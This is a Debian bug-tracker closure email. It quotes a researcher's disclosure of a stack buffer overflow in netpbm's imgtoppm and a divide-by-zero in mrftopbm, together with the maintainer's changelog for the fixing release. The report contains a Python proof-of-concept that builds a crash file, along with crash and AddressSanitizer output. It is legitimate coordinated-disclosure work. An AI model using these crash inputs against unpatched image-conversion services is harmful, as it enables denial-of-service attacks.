Your message dated Sat, 25 Jul 2026 12:48:57 +0000
with message-id <[email protected]>
and subject line Bug#1140182: fixed in netpbm-free 2:11.15.04+ds-1
has caused the Debian Bug report #1140182,
regarding netpbm: stack-based buffer overflow in imgtoppm via unbounded
atoi()/fread() chunk length (CWE-121)
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [email protected]
immediately.)
--
1140182: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1140182
Debian Bug Tracking System
Contact [email protected] with problems
--- Begin Message ---
Package: netpbm
Version: 2:11.13.03+ds-2
Severity: important
Tags: security patch
Dear Maintainer,
imgtoppm (/usr/bin/imgtoppm) contains a stack-based buffer overflow
(CWE-121 / CWE-787) reachable from a single untrusted input file, with no
authentication or user interaction.
Root cause
----------
In converter/ppm/imgtoppm.c, the "AT" and "CM" chunk handlers read an
8-byte ASCII length field, convert it with atoi(), and then fread() that
many bytes into a fixed 4096-byte stack buffer, with no check that the
length fits the buffer:
unsigned char buf[4096]; /* line 35 */
...
buf[8] = '\0';
len = atoi((char*) buf); /* line 63: len up to
99,999,999, not clamped */
if (fread(buf, len, 1, ifP) != 1) /* line 64: writes len bytes
into buf[4096] */
pm_error("bad attributes buf");
buf[len] = '\0'; /* line 66: additional OOB
write at offset len */
The same pattern is repeated in the "CM" handler (lines 85-86). 'len' is
fully attacker-controlled and is never compared against sizeof(buf). The
fread() return-value check does not prevent the overflow: glibc fread
writes the bytes it reads before returning, so supplying e.g. 6000 bytes
overflows the buffer even though fread then returns 0. The signature is
not validated, so the vulnerable path is trivially reachable.
The Debian 10_netpbm-security-code.patch hardened the multiplication
overflow paths in this same file (overflow2(cmaplen,3), overflow2(cols,
rows)) but left these length-driven fread() reads unbounded.
Proof of concept
----------------
python3 -c '
sig = b"IMG\x00\x00\x00\x00\x00" # 8-byte signature (not validated)
tag = b"AT" # attributes chunk
length = b"00006000" # atoi() -> 6000, no clamp to 4096
payload= b"A" * 6000 # 6000 bytes ->
fread(buf,6000,1) into buf[4096]
open("poc_img.img","wb").write(sig+tag+length+payload)'
$ imgtoppm poc_img.img > /dev/null
*** buffer overflow detected ***: terminated
Aborted (exit 134 / SIGABRT)
Under AddressSanitizer the underlying out-of-bounds write is confirmed:
==ERROR: AddressSanitizer: stack-buffer-overflow
WRITE of size 6000 at 0x... thread T0
#1 main converter/ppm/imgtoppm.c:64
'buf' (line 35) <== Memory access overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow
converter/ppm/imgtoppm.c:64 in main
Impact
------
Any service that runs imgtoppm on untrusted input (image conversion /
thumbnailing pipelines using the netpbm toolchain) is affected. On the
default hardened Debian build (_FORTIFY_SOURCE + stack canaries) the
overflow is detected and the process aborts, i.e. a reliable denial of
service; the underlying out-of-bounds write is real (ASan-confirmed) and
is more severe on builds without fortify/canaries or via the
buf[len] = '\0' arbitrary-offset write.
Suggested fix
-------------
Clamp the chunk length to the buffer size before reading, in every chunk
handler ("AT" and "CM"):
len = atoi((char*) buf);
if (len >= sizeof(buf))
pm_error("chunk length %u exceeds maximum %u",
len, (unsigned) sizeof(buf));
if (fread(buf, len, 1, ifP) != 1)
pm_error("bad attributes buf");
This also removes the buf[len] = '\0' out-of-bounds write.
Secondary issue (same package, lower severity)
----------------------------------------------
converter/pbm/mrftopbm.c has a reachable divide-by-zero (CWE-369 / SIGFPE).
cols/rows are read from the MRF header; w64 = (cols+63)/64. When cols == 0
(or rows == 0), w64/h64 become 0 and the overflow guard divides by them:
if (UINT_MAX/w64/64/h64/64 == 0) /* line 169: UINT_MAX/0 -> SIGFPE */
pm_error(...);
PoC (13-byte file): "MRF1" + cols=0 (4 BE) + rows=1 (4 BE) + subtype 0x00
$ mrftopbm poc.mrf
Floating point exception (exit 136 / SIGFPE)
Fix: reject cols == 0 || rows == 0 before computing the guard.
Notes
-----
No CVE was found tracking the imgtoppm overflow; historical netpbm CVEs
cover other tools (giftopnm CVE-2008-0554, xpmtoppm CVE-2009-4274,
pnmtopng CVE-2005-2978). Both issues are present and reproducible in the
current shipped version 2:11.13.03+ds-2. I am happy to help validate a
fix and to coordinate CVE assignment.
Regards,
Maram Sai Harsha Vardhan Reddy
Security Researcher
[email protected]
make_poc.py
Description: Binary data
poc_mrftopbm_divzero.mrf
Description: Binary data
--- End Message ---
--- Begin Message ---
Source: netpbm-free
Source-Version: 2:11.15.04+ds-1
Done: Andreas Metzler <[email protected]>
We believe that the bug you reported is fixed in the latest version of
netpbm-free, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to [email protected],
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Andreas Metzler <[email protected]> (supplier of updated netpbm-free package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [email protected])
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Format: 1.8
Date: Sat, 25 Jul 2026 14:15:33 +0200
Source: netpbm-free
Architecture: source
Version: 2:11.15.04+ds-1
Distribution: experimental
Urgency: medium
Maintainer: Debian PhotoTools Maintainers
<[email protected]>
Changed-By: Andreas Metzler <[email protected]>
Closes: 1140182
Changes:
netpbm-free (2:11.15.04+ds-1) experimental; urgency=medium
.
* Drop workaround for 1119850 - fixed in gcc-15 15.2.0-17 and gcc-16
* run debian/updatewatchfile
* Stop shipping pgmtexture due to its broad indemnification clause.
* Disable lintian and uscan C(needs trixie uscan) CI jobs.
* run debian/updatewatchfile
* New upstream version 11.15.04+ds
+ Fixes buffer overflows in imgtoppm and mrftopbm. Closes: #1140182
* Unfuzz patches.
* Add patch from upstream/trunk to fix a testsuite error.
Checksums-Sha1:
9e4496c8e6a4cf3e4982e15667bb4fe962126ed6 2625 netpbm-free_11.15.04+ds-1.dsc
27544052a0d9bbf1235ef3f577465452b6d3233d 1523960
netpbm-free_11.15.04+ds.orig-userguide.tar.xz
97e9a6e2a822f326d7838c8d9bd6762966ac2bdf 2191896
netpbm-free_11.15.04+ds.orig.tar.xz
e44b40ac326aee0acbc3ec58b3bb361f59ef7327 37092
netpbm-free_11.15.04+ds-1.debian.tar.xz
Checksums-Sha256:
4b671413f136189bc65c82229bfae9da1de78028249bfa4f22f6a8a3e91e6560 2625
netpbm-free_11.15.04+ds-1.dsc
642e71f5de6ec19e58ec2b87670e684c0bca2e588f50ca91d485e36ad036be8e 1523960
netpbm-free_11.15.04+ds.orig-userguide.tar.xz
6618b83766acdb40d7e8cdc0a108d7c0ded2d49f91c2d4608e019f95a2cd862b 2191896
netpbm-free_11.15.04+ds.orig.tar.xz
09b9a28d6b68fa700a49ce2f51f466e0862a42fb7e9259aa9a06ed81cd8e425d 37092
netpbm-free_11.15.04+ds-1.debian.tar.xz
Files:
a964905cf7e7c4d46a683e41a5183220 2625 graphics optional
netpbm-free_11.15.04+ds-1.dsc
e04bc0341f89c30225d93422ae1cc63f 1523960 graphics optional
netpbm-free_11.15.04+ds.orig-userguide.tar.xz
9fa101d39995d2b51219df309928395a 2191896 graphics optional
netpbm-free_11.15.04+ds.orig.tar.xz
0d926c0d0b92cda4c86e9daeb1692f27 37092 graphics optional
netpbm-free_11.15.04+ds-1.debian.tar.xz
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEE0uCSA5741Jbt9PpepU8BhUOCFIQFAmpkrDkACgkQpU8BhUOC
FIQwBhAAhEuEOakgBsVLqNA+B3CG74Uf8z+5QjeG6oFrwBWtDfYqbSsQ3uER3XS5
S7KyPLxBT94RUgTG5MVFxuTUi0NiQvwsIA0tPaeKjLIl1uo7+JPmDVNQsRJP1pgC
3c4MYvnJPg564OodRruNlySfAS5/dWs6SwN5chcPDQ8Kw/iZV1JL1Yp4FnEK1F6Y
lWBEERrAZ+wzeCF+EpTv6EmWZlLJBEuexLo1wBi/7GTXjHDMZygm8WqWskQCcwGB
a04CWA93miFCB4J4aBwA3nCsqJZdy7NRndV3SiMcz2g3r40IVSACgkd+a9TScBFG
SCtyIDVYKBpBD9JZ3qDSbXLyI28HZseqgCdfkthZQUYX/iBWal2NKPqcvHaM/oWO
Jyouk0/JCnYOpiMqbSnDhtIt8Tf9eJ7cTT7InMNLZHWryG8rOLNHOsmu1UGY6Mfb
6uB1xibHt/sAS/imKpwU8/rpTKFrojE0QpK1VD9L2uXOBABh5+KjBulROeHR0ukv
gHcscLg/pozMobTTn2doABOMFAN48MuSo8DMGHRC+52kV4vHdOLpuH3U339fSZct
GqsgU443jxiPrlE1l8FHQRX090RNcyrHFNgr0A+TswWbHCCbWgEtyWhYYyKs+tCi
whec+WK5q/+qln7Q8kq5h2qcwo0tMSe2fV4ELvoDYIciKGFO0JQ=
=uFQ2
-----END PGP SIGNATURE-----
pgp2wl21my1Sl.pgp
Description: PGP signature
--- End Message ---
